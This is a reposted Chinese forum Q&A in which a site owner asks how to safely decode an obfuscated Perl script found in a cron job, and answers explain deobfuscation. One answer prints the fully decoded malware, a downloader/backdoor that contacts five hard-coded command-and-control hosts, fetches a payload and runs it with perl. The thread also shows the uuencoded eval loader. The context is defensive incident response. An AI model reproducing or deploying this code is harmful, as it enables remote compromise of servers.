當我發現一個指向服務器 /tmp 目錄中腳本的 cron 作業時,我正在清理一個在我已經清理過一次后被黑客入侵的客戶站點:
https://pastebin.com/uXCSXxdn
前 6 行如下所示:
my $gVcoQXKQ='';$gVcoQXKQ.=$_ while(<DATA>);$gVcoQXKQ=unpack('u*',$gVcoQXKQ);$gVcoQXKQ=~s/295c445c5f495f5f4548533c3c3c3d29/616962786d6065606062697f7f7c6360/gs;eval($gVcoQXKQ);
__DATA__
M(R$O=7-R V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
M($E/.CI3;V-K970["G5S92!)3SHZ4V5L96-T.PHD?"`](#$[("9M86EN*"D[
M"G-U8B!M86EN"GL*97AI="`P('5N;&5S<R!D969I;F5D("AM>2`D<&ED(#T@
剩下的只是那個 DATA 塊的 121 行。我通過 Virustotal 運行該檔案,它恢復正常,但我確定這不是一個非惡意檔案。有什么方法可以安全地解密它,以便我知道在哪里查看它是否在站點的某個地方丟棄了另一個有效負載?
uj5u.com熱心網友回復:
如果您想查看去混淆的代碼,請按照以下步驟操作。請注意,您將要做的事情是危險的,因為如果您不小心執行了代碼,您的機器就會受到攻擊。你被警告了。
請注意,這些步驟僅適用于本示例。其他攻擊腳本可能包含其他內容。除了下面詳述的內容之外,他們可能還需要其他更改。
以下是發布的原始示例的步驟。
將所有程式復制到original.pl. 它看起來像這樣:
my $gVcoQXKQ='';$gVcoQXKQ.=$_ while(<DATA>);$gVcoQXKQ=unpack('u*',$gVcoQXKQ);$gVcoQXKQ=~s/295c445c5f495f5f4548533c3c3c3d29/616962786d6065606062697f7f7c6360/gs;print($gVcoQXKQ);
__DATA__
M(R$O=7-R V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
eval將第一行的更改為print。 如果您不更改eval為print,那么下一步將對您的機器進行攻擊。
現在,運行程式,eval將print.
perl original.pl > unencoded.pl
新unencoded.pl程式將如下所示,沒有縮進:
#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
現在使用該B::Deparse模塊來解釋和重新格式化程式。確保你有-MO=Deparse,否則你將發起攻擊。
perl -MO=Deparse unencoded.pl > formatted.pl # Note the -MO=Deparse!!!
運行 Deparse 模塊會說:
unencoded.pl syntax OK
新formatted.pl程式將是攻擊者有效載荷的格式良好的副本,長 213 行,您可以檢查腳本的作用。請注意,最終的程式仍然是危險的,因為它是攻擊者想要運行的攻擊程式。
uj5u.com熱心網友回復:
顯示的格式只是 uuencoding。我復制了 pastebin-ed 文本,將其粘貼到https://www.browserling.com/tools/uudecode中,這表明它是這個未實際混淆的 Perl 代碼:
#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$| = 1; &main();
sub main
{
exit 0 unless defined (my $pid = fork);
exit 0 if $pid;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
my $url = ["5.135.42.98:80","ixjeunsdms.org:80","95.216.98.49:443","heyhajksds.com:443","skjfdnlakdp.net:80"];
my $rnd = ["a".."z", "A".."Z"]; $rnd = join ("", @$rnd[map {rand @$rnd}(1..(6 int rand 5))]);
my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$rnd")) { close F; unlink "/tmp/$rnd"; $dir ="/tmp"; }
my ($header, $content);
my ($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
foreach my $rs (@$url)
{
$header = "$dir/" . time; $content = $header . "1";
unlink $header if -f $header; unlink $content if -f $content;
&http($rs, $timeout, $header, $content, 0);
if (open (F, "<", $header))
{
flock F, 1;
my ($test, $task) = (0, "");
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$test if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task = $1 if /^Set-Cookie: PHPSESSID=([^;] )/;
}
close F;
($link, $file, $id, $command, $timeout) = &decxd($task) if $test == 2 && length $task;
}
unlink $header if -f $header; unlink $content if -f $content;
}
exit 0 if !defined $command || $command !~ /^16$/;
$header = "$dir/" . time; $content = "$dir/$file";
unlink $header if -f $header; unlink $content if -f $content;
&http($link, $timeout, $header, $content, 1);
my ($resp, $size) = ("000", 0);
if (open (F, "<", $header))
{
flock F, 1;
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$resp = $1 if /^HTTP\S \s (\d\d\d)/;
}
close F;
}
$size = (stat $content)[7] if -f $content;
$size = 0 if !defined $size || $size !~ /^\d $/;
if ($size > 0)
{
chmod 0755, $content;
system "perl $content >/dev/null 2>&1";
}
unlink $header if -f $header; unlink $content if -f $content;
foreach my $rs (@$url)
{
$header = "/dev/null"; $content = $header;
&http($rs, 10, $header, $content, 0, "$id.$resp.$size");
}
exit 0;
}
sub xorl
{
my ($line, $code, $xor, $lim) = (shift, "", 1, 16);
foreach my $chr (split (//, $line))
{
if ($xor == $lim)
{
$lim = 0 if $lim == 256;
$lim = 16;
$xor = 1;
}
$code .= pack ("C", unpack ("C", $chr) ^ $xor);
$xor ;
}
return $code;
}
sub decxd
{
my $data = pack ("H*", shift);
@_ = unpack ("C5", substr ($data, 0, 5, ""));
return (&xorl(substr ($data, 0, shift, "")), &xorl(substr ($data, 0, shift, "")), @_);
}
sub http
{
my ($url, $timeout, $header, $content, $mode, $gecko) = @_;
$gecko = "20100101" if !defined $gecko || !length $gecko;
my ($host, $port, $path) = $url =~ /^([^\/:] ):*(\d*)?(\/?[^\#]*)/;
return unless $host;
my $addr = gethostbyname $host;
return unless $addr;
$port ||= 80;
$path ||= "/";
$addr = sockaddr_in($port, $addr);
my $readers = IO::Select->new() or return;
my $writers = IO::Select->new() or return;
my $buffer = join
(
"\x0D\x0A",
"GET $path HTTP/1.1",
"Host: $host",
"Cookie: PHPSESSID=295c445c5f495f5f4548533c3c3c3d29",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/$gecko Firefox/60.0",
"Accept: text/html,application/xhtml xml,application/xml;q=0.8,*/*;q=0.1",
"Accept-Language: en-us,en;q=0.8",
"Accept-Encoding: gzip, deflate",
"Accept-Charset: ISO-8859-1,utf-8;q=0.1,*;q=0.8",
"Connection: close",
"\x0D\x0A"
);
if ($mode)
{
$buffer = join
(
"\x0D\x0A",
"GET $path HTTP/1.0",
"Host: $host",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/$gecko Firefox/61.0",
"Accept: text/html,*/*",
"Connection: close",
"\x0D\x0A"
);
}
my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
return unless $socket;
$socket->blocking(0);
unless ($socket->connect($addr))
{
unless ($! == POSIX::EINPROGRESS)
{
close $socket;
return;
}
}
$writers->add($socket);
$timeout = time;
my $step = 0;
while (1)
{
IO::Select->select(undef, undef, undef, 0.02);
my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
foreach my $handle (@$writable)
{
if ($step == 0)
{
$step = 1 if $handle->connected;
}
if ($step == 1)
{
my $result = syswrite ($handle, $buffer);
if (defined $result && $result > 0)
{
substr ($buffer, 0, $result) = "";
if (!length $buffer)
{
$readers->add($handle);
$writers->remove($handle);
$step = 2;
}
}
elsif ($! == POSIX::EWOULDBLOCK)
{
next;
}
else
{
$timeout = 0;
}
}
}
my $readable = (IO::Select->select($readers, undef, undef, 0))[0];
foreach my $handle (@$readable)
{
next if $step < 2;
my $result;
if ($step == 2)
{
$result = sysread ($handle, $buffer, 8192, length $buffer);
}
else
{
$result = sysread ($handle, $buffer, 8192);
}
if (16384 < length $buffer)
{
$timeout = 0;
}
elsif (defined $result)
{
if ($result > 0)
{
if ($step == 2)
{
my $offset = index ($buffer, "\x0D\x0A\x0D\x0A");
next if $offset < 0;
if (open (F, ">>", $header))
{
flock F, 2;
binmode F;
print F substr ($buffer, 0, $offset);
close F;
}
substr ($buffer, 0, $offset 4) = "";
$step = 3;
}
if ($step == 3)
{
if (length $buffer)
{
$buffer =~ s/%EHLO_VALUE%/295c445c5f495f5f4548533c3c3c3d29/gs;
if (open (F, ">>", $content))
{
flock F, 2;
binmode F;
print F $buffer;
close F;
}
$buffer = "";
}
}
next;
}
$timeout = 0;
}
elsif ($! == POSIX::EWOULDBLOCK)
{
next;
}
else
{
$timeout = 0;
}
}
if ($timeout < time)
{
foreach my $handle ($writers->handles, $readers->handles)
{
$writers->remove($handle) if $writers->exists($handle);
$readers->remove($handle) if $readers->exists($handle);
close $handle;
}
return;
}
}
}
線索是 a) 識別獨特的格式;b) 也承認unpack('u*'). 在這個程序中,沒有任何機器,無論是虛擬的還是其他的,都處于危險之中。
該代碼有 5 個 URL,該http函式暗示它“打電話回家”給這些 URL,獲取要在Set-Cookie: PHPSESSIONID=標頭中執行的命令。我沒有進一步分析它。
uj5u.com熱心網友回復:
將eval替換為print以查看腳本正在運行什么。您提供的部分會生成可讀的代碼。
uj5u.com熱心網友回復:
我的第一個想法是決議它,但這并沒有多大用處,因為大部分代碼都在 DATA 塊中。您可以將 eval() 函式替換為 print() 并讓腳本為您解碼。你可能最終需要 deparse 來了解 print 給你的東西。
轉載請註明出處,本文鏈接:https://www.uj5u.com/shujuku/464298.html
下一篇:從資料框中選擇多個日期范圍
